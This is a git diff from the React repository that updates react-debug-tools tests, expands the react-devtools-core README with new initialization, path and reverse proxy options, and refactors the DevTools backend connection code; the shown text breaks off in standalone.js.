@@ -17,6 +17,7 @@ describe('React hooks DevTools integration', () => {
   let act;
   let overrideHookState;
   let scheduleUpdate;
+  let scheduleRetry;
   let setSuspenseHandler;
   let waitForAll;
 
@@ -27,6 +28,7 @@ describe('React hooks DevTools integration', () => {
       inject: injected => {
         overrideHookState = injected.overrideHookState;
         scheduleUpdate = injected.scheduleUpdate;
+        scheduleRetry = injected.scheduleRetry;
         setSuspenseHandler = injected.setSuspenseHandler;
       },
       supportsFiber: true,
@@ -312,5 +314,17 @@ describe('React hooks DevTools integration', () => {
     } else {
       expect(renderer.toJSON().children).toEqual(['Done']);
     }
+
+    if (scheduleRetry) {
+      // Lock again, synchronously
+      setSuspenseHandler(() => true);
+      await act(() => scheduleUpdate(fiber)); // Re-render
+      expect(renderer.toJSON().children).toEqual(['Loading']);
+
+      // Release the lock again but this time using retry lane
+      setSuspenseHandler(() => false);
+      await act(() => scheduleRetry(fiber)); // Re-render
+      expect(renderer.toJSON().children).toEqual(['Done']);
+    }
   });
 });
diff --git a/packages/react-debug-tools/src/__tests__/ReactHooksInspection-test.js b/packages/react-debug-tools/src/__tests__/ReactHooksInspection-test.js
index 8d159a22105c..a12abba4e63c 100644
--- a/packages/react-debug-tools/src/__tests__/ReactHooksInspection-test.js
+++ b/packages/react-debug-tools/src/__tests__/ReactHooksInspection-test.js
@@ -720,6 +720,58 @@ describe('ReactHooksInspection', () => {
     );
   });
 
+  it('should inspect use() calls in anonymous loops', () => {
+    function Foo({entries}) {
+      const values = Object.fromEntries(
+        Object.entries(entries).map(([key, value]) => {
+          return [key, React.use(value)];
+        }),
+      );
+      return <div>{values}</div>;
+    }
+    const tree = ReactDebugTools.inspectHooks(Foo, {
+      entries: {one: Promise.resolve('one'), two: Promise.resolve('two')},
+    });
+    const results = normalizeSourceLoc(tree);
+    expect(results).toHaveLength(1);
+    expect(results[0]).toMatchInlineSnapshot(
+      {
+        subHooks: [{value: expect.any(Promise)}],
+      },
+      `
+      {
+        "debugInfo": null,
+        "hookSource": {
+          "columnNumber": 0,
+          "fileName": "**",
+          "functionName": "Foo",
+          "lineNumber": 0,
+        },
+        "id": null,
+        "isStateEditable": false,
+        "name": "",
+        "subHooks": [
+          {
+            "debugInfo": null,
+            "hookSource": {
+              "columnNumber": 0,
+              "fileName": "**",
+              "functionName": null,
+              "lineNumber": 0,
+            },
+            "id": null,
+            "isStateEditable": false,
+            "name": "Use",
+            "subHooks": [],
+            "value": Any<Promise>,
+          },
+        ],
+        "value": undefined,
+      }
+    `,
+    );
+  });
+
   describe('useDebugValue', () => {
     it('should be ignored when called outside of a custom hook', () => {
       function Foo(props) {
diff --git a/packages/react-debug-tools/src/__tests__/ReactHooksInspectionIntegration-test.js b/packages/react-debug-tools/src/__tests__/ReactHooksInspectionIntegration-test.js
index 0c54464b72a4..a150ded10f75 100644
--- a/packages/react-debug-tools/src/__tests__/ReactHooksInspectionIntegration-test.js
+++ b/packages/react-debug-tools/src/__tests__/ReactHooksInspectionIntegration-test.js
@@ -11,7 +11,6 @@
 'use strict';
 
 let React;
-let ReactDOM;
 let ReactTestRenderer;
 let ReactDebugTools;
 let act;
@@ -34,8 +33,7 @@ describe('ReactHooksInspectionIntegration', () => {
     jest.resetModules();
     React = require('react');
     ReactTestRenderer = require('react-test-renderer');
-    ReactDOM = require('react-dom');
-    act = require('internal-test-utils').act;
+    ({act} = require('internal-test-utils'));
     ReactDebugTools = require('react-debug-tools');
     useMemoCache = require('react/compiler-runtime').c;
   });
@@ -184,14 +182,10 @@ describe('ReactHooksInspectionIntegration', () => {
       React.useLayoutEffect(effect);
       React.useEffect(effect);
 
-      React.useImperativeHandle(
-        outsideRef,
-        () => {
-          // Return a function so that jest treats them as non-equal.
-          return function Instance() {};
-        },
-        [],
-      );
+      React.useImperativeHandle(outsideRef, () => {
+        // Return a function so that jest treats them as non-equal.
+        return function Instance() {};
+      }, []);
 
       React.useMemo(() => state1 + state2, [state1]);
 
@@ -474,14 +468,10 @@ describe('ReactHooksInspectionIntegration', () => {
       React.useLayoutEffect(effect);
       React.useEffect(effect);
 
-      React.useImperativeHandle(
-        outsideRef,
-        () => {
-          // Return a function so that jest treats them as non-equal.
-          return function Instance() {};
-        },
-        [],
-      );
+      React.useImperativeHandle(outsideRef, () => {
+        // Return a function so that jest treats them as non-equal.
+        return function Instance() {};
+      }, []);
 
       React.useMemo(() => state1 + state2, [state1]);
 
@@ -895,7 +885,7 @@ describe('ReactHooksInspectionIntegration', () => {
           "hookSource": {
             "columnNumber": 0,
             "fileName": "**",
-            "functionName": undefined,
+            "functionName": null,
             "lineNumber": 0,
           },
           "id": 0,
@@ -1562,7 +1552,7 @@ describe('ReactHooksInspectionIntegration', () => {
     expect(tree[0].id).toEqual(0);
     expect(tree[0].isStateEditable).toEqual(false);
     expect(tree[0].name).toEqual('Id');
-    expect(String(tree[0].value).startsWith(':r')).toBe(true);
+    expect(String(tree[0].value).startsWith('_r_')).toBe(true);
 
     expect(normalizeSourceLoc(tree)[1]).toMatchInlineSnapshot(`
       {
@@ -1583,7 +1573,6 @@ describe('ReactHooksInspectionIntegration', () => {
   });
 
   describe('useMemoCache', () => {
-    // @gate enableUseMemoCacheHook
     it('should not be inspectable', async () => {
       function Foo() {
         const $ = useMemoCache(1);
@@ -1611,7 +1600,6 @@ describe('ReactHooksInspectionIntegration', () => {
       expect(tree.length).toEqual(0);
     });
 
-    // @gate enableUseMemoCacheHook
     it('should work in combination with other hooks', async () => {
       function useSomething() {
         const [something] = React.useState(null);
@@ -2332,58 +2320,6 @@ describe('ReactHooksInspectionIntegration', () => {
     });
   });
 
-  // @gate !disableDefaultPropsExceptForClasses
-  it('should support defaultProps and lazy', async () => {
-    const Suspense = React.Suspense;
-
-    function Foo(props) {
-      const [value] = React.useState(props.defaultValue.slice(0, 3));
-      return <div>{value}</div>;
-    }
-    Foo.defaultProps = {
-      defaultValue: 'default',
-    };
-
-    async function fakeImport(result) {
-      return {default: result};
-    }
-
-    const LazyFoo = React.lazy(() => fakeImport(Foo));
-
-    const renderer = ReactTestRenderer.create(
-      <Suspense fallback="Loading...">
-        <LazyFoo />
-      </Suspense>,
-    );
-
-    await expect(async () => {
-      await act(async () => await LazyFoo);
-    }).toErrorDev([
-      'Foo: Support for defaultProps will be removed from function components in a future major release. Use JavaScript default parameters instead.',
-    ]);
-
-    const childFiber = renderer.root._currentFiber();
-    const tree = ReactDebugTools.inspectHooksOfFiber(childFiber);
-    expect(normalizeSourceLoc(tree)).toMatchInlineSnapshot(`
-      [
-        {
-          "debugInfo": null,
-          "hookSource": {
-            "columnNumber": 0,
-            "fileName": "**",
-            "functionName": "Foo",
-            "lineNumber": 0,
-          },
-          "id": 0,
-          "isStateEditable": true,
-          "name": "State",
-          "subHooks": [],
-          "value": "def",
-        },
-      ]
-    `);
-  });
-
   // This test case is based on an open source bug report:
   // https://github.com/facebookincubator/redux-react-hook/issues/34#issuecomment-466693787
   it('should properly advance the current hook for useContext', async () => {
@@ -2591,7 +2527,6 @@ describe('ReactHooksInspectionIntegration', () => {
     `);
   });
 
-  // @gate enableAsyncActions
   it('should support useOptimistic hook', async () => {
     const useOptimistic = React.useOptimistic;
     function Foo() {
@@ -2657,10 +2592,9 @@ describe('ReactHooksInspectionIntegration', () => {
     `);
   });
 
-  // @gate enableAsyncActions
-  it('should support useFormState hook', async () => {
+  it('should support useActionState hook', async () => {
     function Foo() {
-      const [value] = ReactDOM.useFormState(function increment(n) {
+      const [value] = React.useActionState(function increment(n) {
         return n;
       }, 0);
       React.useMemo(() => 'memo', []);
@@ -2689,7 +2623,7 @@ describe('ReactHooksInspectionIntegration', () => {
           },
           "id": 0,
           "isStateEditable": false,
-          "name": "FormState",
+          "name": "ActionState",
           "subHooks": [],
           "value": 0,
         },
diff --git a/packages/react-debug-tools/src/__tests__/ReactHooksInspectionIntegrationDOM-test.js b/packages/react-debug-tools/src/__tests__/ReactHooksInspectionIntegrationDOM-test.js
index 752d93fa30ab..3ef3c2f3a7b7 100644
--- a/packages/react-debug-tools/src/__tests__/ReactHooksInspectionIntegrationDOM-test.js
+++ b/packages/react-debug-tools/src/__tests__/ReactHooksInspectionIntegrationDOM-test.js
@@ -119,7 +119,12 @@ describe('ReactHooksInspectionIntegration', () => {
         isStateEditable: false,
         name: 'FormStatus',
         subHooks: [],
-        value: null,
+        value: {
+          action: null,
+          data: null,
+          method: null,
+          pending: false,
+        },
       },
       {
         debugInfo: null,
diff --git a/packages/react-devtools-core/README.md b/packages/react-devtools-core/README.md
index b0f0e98191b3..3cced5e0e4bb 100644
--- a/packages/react-devtools-core/README.md
+++ b/packages/react-devtools-core/README.md
@@ -14,35 +14,62 @@ If you are building a non-browser-based React renderer, you can use the backend
 
 ```js
 if (process.env.NODE_ENV !== 'production') {
-  const { connectToDevTools } = require("react-devtools-core");
+  const { initialize, connectToDevTools } = require("react-devtools-core");
 
+  initialize(settings);
   // Must be called before packages like react or react-native are imported
-  connectToDevTools({
-    ...config
-  });
+  connectToDevTools({...config});
 }
 ```
 
 > **NOTE** that this API (`connectToDevTools`) must be (1) run in the same context as React and (2) must be called before React packages are imported (e.g. `react`, `react-dom`, `react-native`).
 
+### `initialize` arguments
+| Argument                  | Description |
+|---------------------------|-------------|
+| `settings`                | Optional. If not specified, or received as null, then default settings are used. Can be plain object or a Promise that resolves with the [plain settings object](#Settings). If Promise rejects, the console will not be patched and some console features from React DevTools will not work. |
+| `shouldStartProfilingNow` | Optional. Whether to start profiling immediately after installing the hook. Defaults to `false`. |
+| `profilingSettings`       | Optional. Profiling settings used when `shouldStartProfilingNow` is `true`. Defaults to `{ recordChangeDescriptions: false, recordTimeline: false }`. |
+| `componentFilters`        | Optional. Array or Promise that resolves to an array of component filters to apply before DevTools connects. Defaults to the built-in host component filter. See [Component filters](#component-filters) for the full spec. |
+
+#### `Settings`
+| Spec                                                                                                                                                                           | Default value                                                                                                                                                        |
+|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| <pre>{<br>  appendComponentStack: boolean,<br>  breakOnConsoleErrors: boolean,<br>  showInlineWarningsAndErrors: boolean,<br>  hideConsoleLogsInStrictMode: boolean,<br>  disableSecondConsoleLogDimmingInStrictMode: boolean<br>}</pre> | <pre>{<br>  appendComponentStack: true,<br>  breakOnConsoleErrors: false,<br>  showInlineWarningsAndErrors: true,<br>  hideConsoleLogsInStrictMode: false,<br>  disableSecondConsoleLogDimmingInStrictMode: false<br>}</pre> |
+
+#### Component filters
+Each filter object must include `type` and `isEnabled`. Some filters also require `value` or `isValid`.
+
+| Type | Required fields | Description |
+|------|-----------------|-------------|
+| `ComponentFilterElementType` (`1`) | `type`, `isEnabled`, `value: ElementType` | Hides elements of the given element type. DevTools defaults to hiding host components. |
+| `ComponentFilterDisplayName` (`2`) | `type`, `isEnabled`, `isValid`, `value: string` | Hides components whose display name matches the provided RegExp string. |
+| `ComponentFilterLocation` (`3`) | `type`, `isEnabled`, `isValid`, `value: string` | Hides components whose source location matches the provided RegExp string. |
+| `ComponentFilterHOC` (`4`) | `type`, `isEnabled`, `isValid` | Hides higher-order components. |
+| `ComponentFilterEnvironmentName` (`5`) | `type`, `isEnabled`, `isValid`, `value: string` | Hides components whose environment name matches the provided string. |
+| `ComponentFilterActivitySlice` (`6`) | `type`, `isEnabled`, `isValid`, `activityID`, `rendererID` | Filters activity slices; usually managed by DevTools rather than user code. |
+
 ### `connectToDevTools` options
-| Prop | Default | Description |
-|---|---|---|
-| `host` | `"localhost"` | Socket connection to frontend should use this host. |
-| `isAppActive` |  | (Optional) function that returns true/false, telling DevTools when it's ready to connect to React. |
-| `port` | `8097` | Socket connection to frontend should use this port. |
-| `resolveRNStyle` |  | (Optional) function that accepts a key (number) and returns a style (object); used by React Native. |
-| `retryConnectionDelay` | `200` | Delay (ms) to wait between retrying a failed Websocket connection |
-| `useHttps` | `false` | Socket connection to frontend should use secure protocol (wss). |
-| `websocket` |  | Custom `WebSocket` connection to frontend; overrides `host` and `port` settings. |
+| Prop                   | Default       | Description                                                                                                               |
+|------------------------|---------------|---------------------------------------------------------------------------------------------------------------------------|
+| `host`                 | `"localhost"` | Socket connection to frontend should use this host.                                                                       |
+| `isAppActive`          |               | (Optional) function that returns true/false, telling DevTools when it's ready to connect to React.                        |
+| `path`                 | `""`          | Path appended to the WebSocket URI (e.g. `"/__react_devtools__/"`). Useful when proxying through a reverse proxy on a subpath. A leading `/` is added automatically if missing. |
+| `port`                 | `8097`        | Socket connection to frontend should use this port.                                                                       |
+| `resolveRNStyle`       |               | (Optional) function that accepts a key (number) and returns a style (object); used by React Native.                       |
+| `retryConnectionDelay` | `200`         | Delay (ms) to wait between retrying a failed Websocket connection                                                         |
+| `useHttps`             | `false`       | Socket connection to frontend should use secure protocol (wss).                                                           |
+| `websocket`            |               | Custom `WebSocket` connection to frontend; overrides `host` and `port` settings.                                          |
+| `onSettingsUpdated`    |               | A callback that will be called when the user updates the settings in the UI. You can use it for persisting user settings. |                                                                                         |
 
 
 ### `connectWithCustomMessagingProtocol` options
-| Prop            | Description                                                                                                                                                    |
-|-----------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| `onSubscribe`   | Function, which receives listener (function, with a single argument) as an argument. Called when backend subscribes to messages from the other end (frontend). |
-| `onUnsubscribe` | Function, which receives listener (function) as an argument. Called when backend unsubscribes to messages from the other end (frontend).                       |
-| `onMessage`     | Function, which receives 2 arguments: event (string) and payload (any). Called when backend emits a message, which should be sent to the frontend.             |
+| Prop                | Description                                                                                                                                                    |
+|---------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------|
+| `onSubscribe`       | Function, which receives listener (function, with a single argument) as an argument. Called when backend subscribes to messages from the other end (frontend). |
+| `onUnsubscribe`     | Function, which receives listener (function) as an argument. Called when backend unsubscribes to messages from the other end (frontend).                       |
+| `onMessage`         | Function, which receives 2 arguments: event (string) and payload (any). Called when backend emits a message, which should be sent to the frontend.             |
+| `onSettingsUpdated` | A callback that will be called when the user updates the settings in the UI. You can use it for persisting user settings.                                      |
 
 Unlike `connectToDevTools`, `connectWithCustomMessagingProtocol` returns a callback, which can be used for unsubscribing the backend from the global DevTools hook.
 
@@ -115,16 +142,51 @@ function onStatus(
 }
 ```
 
-#### `startServer(port?: number, host?: string, httpsOptions?: Object, loggerOptions?: Object)`
+#### `startServer(port?, host?, httpsOptions?, loggerOptions?, path?, clientOptions?)`
 Start a socket server (used to communicate between backend and frontend) and renders the DevTools UI.
 
 This method accepts the following parameters:
 | Name | Default | Description |
 |---|---|---|
-| `port` | `8097` | Socket connection to backend should use this port. |
-| `host` | `"localhost"` | Socket connection to backend should use this host. |
+| `port` | `8097` | Port the local server listens on. |
+| `host` | `"localhost"` | Host the local server binds to. |
 | `httpsOptions` | | _Optional_ object defining `key` and `cert` strings. |
 | `loggerOptions` | | _Optional_ object defining a `surface` string (to be included with DevTools logging events). |
+| `path` | | _Optional_ path to append to the WebSocket URI served to connecting clients (e.g. `"/__react_devtools__/"`). Also set via the `REACT_DEVTOOLS_PATH` env var in the Electron app. |
+| `clientOptions` | | _Optional_ object with client-facing overrides (see below). |
+
+##### `clientOptions`
+
+When connecting through a reverse proxy, the client may need to connect to a different host, port, or protocol than the local server. Use `clientOptions` to override what appears in the `connectToDevTools()` script served to clients. Any field not set falls back to the corresponding server value.
+
+| Field | Default | Description |
+|---|---|---|
+| `host` | server `host` | Host the client connects to. |
+| `port` | server `port` | Port the client connects to. |
+| `useHttps` | server `useHttps` | Whether the client should use `wss://`. |
+
+These can also be set via environment variables in the Electron app:
+
+| Env Var | Description |
+|---|---|
+| `REACT_DEVTOOLS_CLIENT_HOST` | Overrides the host in the served client script. |
+| `REACT_DEVTOOLS_CLIENT_PORT` | Overrides the port in the served client script. |
+| `REACT_DEVTOOLS_CLIENT_USE_HTTPS` | Set to `"true"` to make the served client script use `wss://`. |
+
+##### Reverse proxy example
+
+Run DevTools locally on the default port, but tell clients to connect through a remote proxy:
+```sh
+REACT_DEVTOOLS_CLIENT_HOST=remote.example.com \
+REACT_DEVTOOLS_CLIENT_PORT=443 \
+REACT_DEVTOOLS_CLIENT_USE_HTTPS=true \
+REACT_DEVTOOLS_PATH=/__react_devtools__/ \
+react-devtools
+```
+The server listens on `localhost:8097`. The served script tells clients:
+```js
+connectToDevTools({host: 'remote.example.com', port: 443, useHttps: true, path: '/__react_devtools__/'})
+```
 
 # Development
 
diff --git a/packages/react-devtools-core/package.json b/packages/react-devtools-core/package.json
index 3670512f04e1..54b89e72e8ae 100644
--- a/packages/react-devtools-core/package.json
+++ b/packages/react-devtools-core/package.json
@@ -1,6 +1,6 @@
 {
   "name": "react-devtools-core",
-  "version": "5.3.0",
+  "version": "7.0.1",
   "description": "Use react-devtools outside of the browser",
   "license": "MIT",
   "main": "./dist/backend.js",
diff --git a/packages/react-devtools-core/src/backend.js b/packages/react-devtools-core/src/backend.js
index 25001502f1c2..075758f78500 100644
--- a/packages/react-devtools-core/src/backend.js
+++ b/packages/react-devtools-core/src/backend.js
@@ -11,43 +11,42 @@ import Agent from 'react-devtools-shared/src/backend/agent';
 import Bridge from 'react-devtools-shared/src/bridge';
 import {installHook} from 'react-devtools-shared/src/hook';
 import {initBackend} from 'react-devtools-shared/src/backend';
-import {installConsoleFunctionsToWindow} from 'react-devtools-shared/src/backend/console';
 import {__DEBUG__} from 'react-devtools-shared/src/constants';
 import setupNativeStyleEditor from 'react-devtools-shared/src/backend/NativeStyleEditor/setupNativeStyleEditor';
-import {getDefaultComponentFilters} from 'react-devtools-shared/src/utils';
 import {
-  initializeUsingCachedSettings,
-  cacheConsolePatchSettings,
-  type DevToolsSettingsManager,
-} from './cachedSettings';
+  getDefaultComponentFilters,
+  getIsReloadAndProfileSupported,
+} from 'react-devtools-shared/src/utils';
 
 import type {BackendBridge} from 'react-devtools-shared/src/bridge';
 import type {
   ComponentFilter,
   Wall,
 } from 'react-devtools-shared/src/frontend/types';
-import type {DevToolsHook} from 'react-devtools-shared/src/backend/types';
+import type {
+  DevToolsHook,
+  DevToolsHookSettings,
+  ProfilingSettings,
+} from 'react-devtools-shared/src/backend/types';
 import type {ResolveNativeStyle} from 'react-devtools-shared/src/backend/NativeStyleEditor/setupNativeStyleEditor';
 
 type ConnectOptions = {
   host?: string,
   nativeStyleEditorValidAttributes?: $ReadOnlyArray<string>,
+  path?: string,
   port?: number,
   useHttps?: boolean,
   resolveRNStyle?: ResolveNativeStyle,
   retryConnectionDelay?: number,
   isAppActive?: () => boolean,
   websocket?: ?WebSocket,
-  devToolsSettingsManager: ?DevToolsSettingsManager,
+  onSettingsUpdated?: (settings: $ReadOnly<DevToolsHookSettings>) => void,
+  isReloadAndProfileSupported?: boolean,
+  isProfiling?: boolean,
+  onReloadAndProfile?: (recordChangeDescriptions: boolean) => void,
+  onReloadAndProfileFlagsReset?: () => void,
 };
 
-// Install a global variable to allow patching console early (during injection).
-// This provides React Native developers with components stacks even if they don't run DevTools.
-installConsoleFunctionsToWindow();
-installHook(window);
-
-const hook: ?DevToolsHook = window.__REACT_DEVTOOLS_GLOBAL_HOOK__;
-
 let savedComponentFilters: Array<ComponentFilter> =
   getDefaultComponentFilters();
 
@@ -62,24 +61,55 @@ function debug(methodName: string, ...args: Array<mixed>) {
   }
 }
 
+export function initialize(
+  maybeSettingsOrSettingsPromise?:
+    | DevToolsHookSettings
+    | Promise<DevToolsHookSettings>,
+  shouldStartProfilingNow: boolean = false,
+  profilingSettings?: ProfilingSettings,
+  maybeComponentFiltersOrComponentFiltersPromise?:
+    | Array<ComponentFilter>
+    | Promise<Array<ComponentFilter>>,
+) {
+  const componentFiltersOrComponentFiltersPromise =
+    maybeComponentFiltersOrComponentFiltersPromise
+      ? maybeComponentFiltersOrComponentFiltersPromise
+      : savedComponentFilters;
+  installHook(
+    window,
+    componentFiltersOrComponentFiltersPromise,
+    maybeSettingsOrSettingsPromise,
+    shouldStartProfilingNow,
+    profilingSettings,
+  );
+}
+
 export function connectToDevTools(options: ?ConnectOptions) {
+  const hook: ?DevToolsHook = window.__REACT_DEVTOOLS_GLOBAL_HOOK__;
   if (hook == null) {
     // DevTools didn't get injected into this page (maybe b'c of the contentType).
     return;
   }
+
   const {
     host = 'localhost',
     nativeStyleEditorValidAttributes,
+    path = '',
     useHttps = false,
     port = 8097,
     websocket,
     resolveRNStyle = (null: $FlowFixMe),
     retryConnectionDelay = 2000,
     isAppActive = () => true,
-    devToolsSettingsManager,
+    onSettingsUpdated,
+    isReloadAndProfileSupported = getIsReloadAndProfileSupported(),
+    isProfiling,
+    onReloadAndProfile,
+    onReloadAndProfileFlagsReset,
   } = options || {};
 
   const protocol = useHttps ? 'wss' : 'ws';
+  const prefixedPath = path !== '' && !path.startsWith('/') ? '/' + path : path;
   let retryTimeoutID: TimeoutID | null = null;
 
   function scheduleRetry() {
@@ -92,16 +122,6 @@ export function connectToDevTools(options: ?ConnectOptions) {
     }
   }
 
-  if (devToolsSettingsManager != null) {
-    try {
-      initializeUsingCachedSettings(devToolsSettingsManager);
-    } catch (e) {
-      // If we call a method on devToolsSettingsManager that throws, or if
-      // is invalid data read out, don't throw and don't interrupt initialization
-      console.error(e);
-    }
-  }
-
   if (!isAppActive()) {
     // If the app is in background, maybe retry later.
     // Don't actually attempt to connect until we're in foreground.
@@ -112,7 +132,7 @@ export function connectToDevTools(options: ?ConnectOptions) {
   let bridge: BackendBridge | null = null;
 
   const messageListeners = [];
-  const uri = protocol + '://' + host + ':' + port;
+  const uri = protocol + '://' + host + ':' + port + prefixedPath;
 
   // If existing websocket is passed, use it.
   // This is necessary to support our custom integrations.
@@ -165,38 +185,27 @@ export function connectToDevTools(options: ?ConnectOptions) {
       },
     );
 
-    if (devToolsSettingsManager != null && bridge != null) {
-      bridge.addListener('updateConsolePatchSettings', consolePatchSettings =>
-        cacheConsolePatchSettings(
-          devToolsSettingsManager,
-          consolePatchSettings,
-        ),
-      );
+    // TODO (npm-packages) Warn if "isBackendStorageAPISupported"
+    // $FlowFixMe[incompatible-call] found when upgrading Flow
+    const agent = new Agent(bridge, isProfiling, onReloadAndProfile);
+    if (typeof onReloadAndProfileFlagsReset === 'function') {
+      onReloadAndProfileFlagsReset();
     }
 
-    // The renderer interface doesn't read saved component filters directly,
-    // because they are generally stored in localStorage within the context of the extension.
-    // Because of this it relies on the extension to pass filters.
-    // In the case of the standalone DevTools being used with a website,
-    // saved filters are injected along with the backend script tag so we shouldn't override them here.
-    // This injection strategy doesn't work for React Native though.
-    // Ideally the backend would save the filters itself, but RN doesn't provide a sync storage solution.
-    // So for now we just fall back to using the default filters...
-    if (window.__REACT_DEVTOOLS_COMPONENT_FILTERS__ == null) {
-      // $FlowFixMe[incompatible-use] found when upgrading Flow
-      bridge.send('overrideComponentFilters', savedComponentFilters);
+    if (onSettingsUpdated != null) {
+      agent.addListener('updateHookSettings', onSettingsUpdated);
     }
-
-    // TODO (npm-packages) Warn if "isBackendStorageAPISupported"
-    // $FlowFixMe[incompatible-call] found when upgrading Flow
-    const agent = new Agent(bridge);
     agent.addListener('shutdown', () => {
+      if (onSettingsUpdated != null) {
+        agent.removeListener('updateHookSettings', onSettingsUpdated);
+      }
+
       // If we received 'shutdown' from `agent`, we assume the `bridge` is already shutting down,
       // and that caused the 'shutdown' event on the `agent`, so we don't need to call `bridge.shutdown()` here.
       hook.emit('shutdown');
     });
 
-    initBackend(hook, agent, window);
+    initBackend(hook, agent, window, isReloadAndProfileSupported);
 
     // Setup React Native style editor if the environment supports it.
     if (resolveRNStyle != null || hook.resolveRNStyle != null) {
@@ -282,7 +291,7 @@ export function connectToDevTools(options: ?ConnectOptions) {
     scheduleRetry();
   }
 
-  function handleMessage(event: MessageEvent) {
+  function handleMessage(event: MessageEvent<>) {
     let data;
     try {
       if (typeof event.data === 'string') {
@@ -318,34 +327,33 @@ type ConnectWithCustomMessagingOptions = {
   onSubscribe: (cb: Function) => void,
   onUnsubscribe: (cb: Function) => void,
   onMessage: (event: string, payload: any) => void,
-  settingsManager: ?DevToolsSettingsManager,
   nativeStyleEditorValidAttributes?: $ReadOnlyArray<string>,
   resolveRNStyle?: ResolveNativeStyle,
+  onSettingsUpdated?: (settings: $ReadOnly<DevToolsHookSettings>) => void,
+  isReloadAndProfileSupported?: boolean,
+  isProfiling?: boolean,
+  onReloadAndProfile?: (recordChangeDescriptions: boolean) => void,
+  onReloadAndProfileFlagsReset?: () => void,
 };
 
 export function connectWithCustomMessagingProtocol({
   onSubscribe,
   onUnsubscribe,
   onMessage,
-  settingsManager,
   nativeStyleEditorValidAttributes,
   resolveRNStyle,
+  onSettingsUpdated,
+  isReloadAndProfileSupported = getIsReloadAndProfileSupported(),
+  isProfiling,
+  onReloadAndProfile,
+  onReloadAndProfileFlagsReset,
 }: ConnectWithCustomMessagingOptions): Function {
+  const hook: ?DevToolsHook = window.__REACT_DEVTOOLS_GLOBAL_HOOK__;
   if (hook == null) {
     // DevTools didn't get injected into this page (maybe b'c of the contentType).
     return;
   }
 
-  if (settingsManager != null) {
-    try {
-      initializeUsingCachedSettings(settingsManager);
-    } catch (e) {
-      // If we call a method on devToolsSettingsManager that throws, or if
-      // is invalid data read out, don't throw and don't interrupt initialization
-      console.error(e);
-    }
-  }
-
   const wall: Wall = {
     listen(fn: Function) {
       onSubscribe(fn);
@@ -371,24 +379,30 @@ export function connectWithCustomMessagingProtocol({
     },
   );
 
-  if (settingsManager != null) {
-    bridge.addListener('updateConsolePatchSettings', consolePatchSettings =>
-      cacheConsolePatchSettings(settingsManager, consolePatchSettings),
-    );
+  const agent = new Agent(bridge, isProfiling, onReloadAndProfile);
+  if (typeof onReloadAndProfileFlagsReset === 'function') {
+    onReloadAndProfileFlagsReset();
   }
 
-  if (window.__REACT_DEVTOOLS_COMPONENT_FILTERS__ == null) {
-    bridge.send('overrideComponentFilters', savedComponentFilters);
+  if (onSettingsUpdated != null) {
+    agent.addListener('updateHookSettings', onSettingsUpdated);
   }
-
-  const agent = new Agent(bridge);
   agent.addListener('shutdown', () => {
+    if (onSettingsUpdated != null) {
+      agent.removeListener('updateHookSettings', onSettingsUpdated);
+    }
+
     // If we received 'shutdown' from `agent`, we assume the `bridge` is already shutting down,
     // and that caused the 'shutdown' event on the `agent`, so we don't need to call `bridge.shutdown()` here.
     hook.emit('shutdown');
   });
 
-  const unsubscribeBackend = initBackend(hook, agent, window);
+  const unsubscribeBackend = initBackend(
+    hook,
+    agent,
+    window,
+    isReloadAndProfileSupported,
+  );
 
   const nativeStyleResolver: ResolveNativeStyle | void =
     resolveRNStyle || hook.resolveRNStyle;
diff --git a/packages/react-devtools-core/src/cachedSettings.js b/packages/react-devtools-core/src/cachedSettings.js
deleted file mode 100644
index 18ecd696b3c7..000000000000
--- a/packages/react-devtools-core/src/cachedSettings.js
+++ /dev/null
@@ -1,76 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and its affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- *
- * @flow
- */
-
-import type {ConsolePatchSettings} from 'react-devtools-shared/src/backend/types';
-import {writeConsolePatchSettingsToWindow} from 'react-devtools-shared/src/backend/console';
-import {castBool, castBrowserTheme} from 'react-devtools-shared/src/utils';
-
-// Note: all keys should be optional in this type, because users can use newer
-// versions of React DevTools with older versions of React Native, and the object
-// provided by React Native may not include all of this type's fields.
-export type DevToolsSettingsManager = {
-  getConsolePatchSettings: ?() => string,
-  setConsolePatchSettings: ?(key: string) => void,
-};
-
-export function initializeUsingCachedSettings(
-  devToolsSettingsManager: DevToolsSettingsManager,
-) {
-  initializeConsolePatchSettings(devToolsSettingsManager);
-}
-
-function initializeConsolePatchSettings(
-  devToolsSettingsManager: DevToolsSettingsManager,
-) {
-  if (devToolsSettingsManager.getConsolePatchSettings == null) {
-    return;
-  }
-  const consolePatchSettingsString =
-    devToolsSettingsManager.getConsolePatchSettings();
-  if (consolePatchSettingsString == null) {
-    return;
-  }
-  const parsedConsolePatchSettings = parseConsolePatchSettings(
-    consolePatchSettingsString,
-  );
-  if (parsedConsolePatchSettings == null) {
-    return;
-  }
-  writeConsolePatchSettingsToWindow(parsedConsolePatchSettings);
-}
-
-function parseConsolePatchSettings(
-  consolePatchSettingsString: string,
-): ?ConsolePatchSettings {
-  const parsedValue = JSON.parse(consolePatchSettingsString ?? '{}');
-  const {
-    appendComponentStack,
-    breakOnConsoleErrors,
-    showInlineWarningsAndErrors,
-    hideConsoleLogsInStrictMode,
-    browserTheme,
-  } = parsedValue;
-  return {
-    appendComponentStack: castBool(appendComponentStack) ?? true,
-    breakOnConsoleErrors: castBool(breakOnConsoleErrors) ?? false,
-    showInlineWarningsAndErrors: castBool(showInlineWarningsAndErrors) ?? true,
-    hideConsoleLogsInStrictMode: castBool(hideConsoleLogsInStrictMode) ?? false,
-    browserTheme: castBrowserTheme(browserTheme) ?? 'dark',
-  };
-}
-
-export function cacheConsolePatchSettings(
-  devToolsSettingsManager: DevToolsSettingsManager,
-  value: ConsolePatchSettings,
-): void {
-  if (devToolsSettingsManager.setConsolePatchSettings == null) {
-    return;
-  }
-  devToolsSettingsManager.setConsolePatchSettings(JSON.stringify(value));
-}
diff --git a/packages/react-devtools-core/src/standalone.js b/packages/react-devtools-core/src/standalone.js
index 541efa0d37e9..81f357751913 100644
--- a/packages/react-devtools-core/src/standalone.js
+++ b/packages/react-devtools-core/src/standalone.js
@@ -12,18 +12,11 @@ import {flushSync} from 'react-dom';
 import {createRoot} from 'react-dom/client';
 import Bridge from 'react-devtools-shared/src/bridge';
 import Store from 'react-devtools-shared/src/devtools/store';
-import {
-  getAppendComponentStack,
